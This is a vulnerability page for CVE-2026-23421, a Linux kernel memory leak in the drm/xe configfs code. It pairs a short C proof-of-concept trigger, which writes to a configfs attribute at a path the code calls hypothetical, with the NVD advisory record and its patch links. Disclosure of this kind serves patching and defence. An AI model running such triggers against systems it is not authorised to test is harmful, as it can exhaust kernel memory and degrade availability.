CVE-2026-23421

/* * PoC for CVE-2026-23421: Linux Kernel Memory Leak in drm/xe/configfs * This script demonstrates the trigger condition for the memory leak. * Note: Actual path depends on kernel config and driver mounting. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> // Hypothetical configfs path for xe device #define CONFIGFS_DEVICE_PATH "/sys/kernel/config/xe/gt0/wa_bb" int main(int argc, char **argv) { printf("[*] CVE-2026-23421 PoC Trigger\n"); printf("[*] Attempting to trigger allocation in wa_bb_store...\n"); // Step 1: Open the configfs attribute to trigger allocation int fd = open(CONFIGFS_DEVICE_PATH, O_WRONLY); if (fd < 0) { perror("[-] Failed to open configfs attribute"); printf("[-] Ensure debugfs/configfs is mounted and xe driver is loaded.\n"); return 1; } // Step 2: Write data to trigger the memory allocation logic const char *trigger_data = "trigger_leak_data"; if (write(fd, trigger_data, strlen(trigger_data)) < 0) { perror("[-] Write failed"); close(fd); return 1; } close(fd); printf("[+] Data written, memory allocated (ctx_restore_mid_bb).\n"); // Step 3: Simulate device removal/release // In a real scenario, removing the directory triggers xe_config_device_release printf("[*] To complete the leak, remove the configfs device entry.\n"); printf("[*] This triggers xe_config_device_release which misses freeing ctx_restore_mid_bb[0].cs.\n"); return 0; }

{"cve": {"id": "CVE-2026-23421", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-03T14:16:28.190", "lastModified": "2026-04-24T15:21:16.940", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/xe/configfs: Free ctx_restore_mid_bb in release\n\nctx_restore_mid_bb memory is allocated in wa_bb_store(), but\nxe_config_device_release() only frees ctx_restore_post_bb.\n\nFree ctx_restore_mid_bb[0].cs as well to avoid leaking the allocation\nwhen the configfs device is removed.\n\n(cherry picked from commit a235e7d0098337c3f2d1e8f3610c719a589e115f)"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18.1", "versionEndExcluding": "6.18.17", "matchCriteriaId": "07E9D8CD-82F0-4CC6-8038-BF71758D583C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.7", "matchCriteriaId": "69245D10-0B71-485E-80C3-A64F077004D3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.18:-:*:*:*:*:*:*", "matchCriteriaId": "DCE57113-2223-4308-A0F2-5E6ECFBB3C23"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/3557359ea3df32430ea7c30f7a708ca9a91d7e0e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7f971dfd48983074adc7bbcea3ee95ce7aad47cb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e377182f0266f46f02d01838e6bde67b9dac0d66", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}